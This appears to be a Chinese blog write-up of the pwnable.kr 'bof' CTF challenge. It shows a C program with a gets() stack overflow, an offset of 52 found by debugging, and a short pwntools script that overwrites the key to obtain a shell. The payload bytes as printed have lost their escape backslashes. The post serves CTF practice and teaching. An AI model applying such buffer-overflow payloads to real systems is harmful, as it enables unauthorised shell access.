zoukankan      html  css  js  c++  java
  • pwnable.kr之bof

    打开题目:

     

     

     

     

     

     

     

     

     

     

     

     

     

    先下载题目给我们的两个文件,查看文件信息:

    发现没有执行的权限,所以先增加文件bof的执行权限,执行:

    没发现啥,然后查看代码,

     1 #include <stdio.h>
     2 #include <string.h>
     3 #include <stdlib.h>
     4 void func(int key){
     5     char overflowme[32];
     6     printf("overflow me : ");
     7     gets(overflowme);    // smash me!
     8     if(key == 0xcafebabe){
     9         system("/bin/sh");
    10     }
    11     else{
    12         printf("Nah..
    ");
    13     }
    14 }
    15 int main(int argc, char* argv[]){
    16     func(0xdeadbeef);
    17     return 0;
    18 }

    观察代码,知道只要使key==0xcafebabe就可拿到shell,然后查看flag。

    所以开始调试找偏移。

    调试后知道偏移为52,所以写一个python程序,代码为

    from pwn import *
    p=remote('pwnable.kr',9000)
    payload='a'*52+'xbexbaxfexca'
    p.sendline(payload)
    p.interactive()

    拿到shell,输入cat flag,拿到flag

  • 相关阅读:
    Java之事件处理
    Java之图形程序设计
    小议设置path环境变量
    关于JAVA中的编译和解释执行
    并发工具类 CountDownLatch
    线程池
    Properties的小问题
    转换流
    TCP中客户端和服务器的理解
    leetcode_160. 相交链表
  • 原文地址:https://www.cnblogs.com/countfatcode/p/11139006.html
Copyright © 2011-2022 走看看